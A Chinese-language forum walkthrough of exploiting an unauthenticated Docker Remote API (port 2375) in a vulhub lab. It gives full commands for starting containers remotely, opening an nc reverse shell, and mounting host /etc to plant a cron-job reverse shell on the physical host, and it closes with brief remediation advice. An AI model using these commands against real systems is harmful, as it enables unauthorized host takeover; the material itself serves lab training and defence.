Docker未授权访问漏洞及远程命令执行实例演练

影响范围

Docker ALL 

漏洞类型

未授权访问类

利用条件

影响范围应用

漏洞概述

Docker Remote API是一个取代远程命令行界面(RCLI)的REST API,当该接口直接暴漏在外网环境中且未作权限检查时,攻击者可以通过恶意调用相关的API实现远程命令执行

漏洞复现

环境搭建

下载环境

mkdir docker
cd docker 
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh
图片[1]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

之后给docker-entrypoint.sh赋予执行权限

chmod 777 docker-entrypoint.sh
图片[2]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

编译并启动环境

docker-compose up -d
图片[3]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛
漏洞利用
漏洞检测
docker -H tcp://192.168.17.140:2375 images
图片[4]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛
反弹shell

Step 1:在VPS上监听9999端口

nc -lnvp 9999
图片[5]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

Step 2:查看目标系统上存在的镜像

docker -H tcp://192.168.17.140:2375 images
图片[6]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

Step 3:之后创建一个轻量级镜像

docker -H tcp://192.168.17.140:2375 run -id  alpine:latest
图片[7]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

Step 4:查看运行的容器信息获取对应的容器ID

docker -H tcp://192.168.17.140:2375 ps
图片[8]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

Step 5:进入容器并通过nc进行反弹shell

docker -H tcp://192.168.17.140:2375 exec -it cbb678549422  sh
nc 192.168.17.128 9999 -e /bin/sh
图片[9]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

Step 6:在攻击主机中成功接收到shell

图片[10]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

Step 7:退出并删除容器

exit
docker -H tcp://192.168.17.140:2375 rm cbb678549422 -f
docker -H tcp://192.168.17.140:2375 ps
图片[11]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

物理主机

我们可以在创建容器时将物理主机的计划任务目录挂载到容器中的可写目录中,之后通过在容器中对计划任务进行编辑间接性实现对物理主机中计划任务的编辑,从而实现获取物理主机权限的目的,下面进行简单演示:

Step 1:检测是否存在漏洞

docker -H tcp://192.168.17.140:2375 images
图片[12]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

Step 2:在攻击主机中设置监听

图片[13]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

Step 3:将宿主机的系统计划任务目录(/etc/crontab)挂载到容器中的/tmp目录下

docker -H tcp://192.168.17.140:2375 run -id -v /etc/:/tmp/etc alpine:latest
图片[14]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

Step 4:查看运行的容器信息获取对应的容器ID

docker -H tcp://192.168.17.140:2375 ps
图片[15]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

Step 5:远程访问容器并写入计划任务

docker -H tcp://192.168.17.140:2375 exec -it f9e17c91eda2  sh
crontab -e
*  *  *  *  *  /usr/bin/nc 192.168.17.128 9999 -e /bin/sh
crontab -l
图片[16]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛
图片[17]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

Step 6:反弹shell

图片[18]-Docker未授权访问漏洞及远程命令执行实例演练-山海云端论坛

目标检索

暂不提供

修复建议

1、对2375端口做网络访问控制,例如:ACL控制

2、修改docker swarm的认证方式,使用TLS认证

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容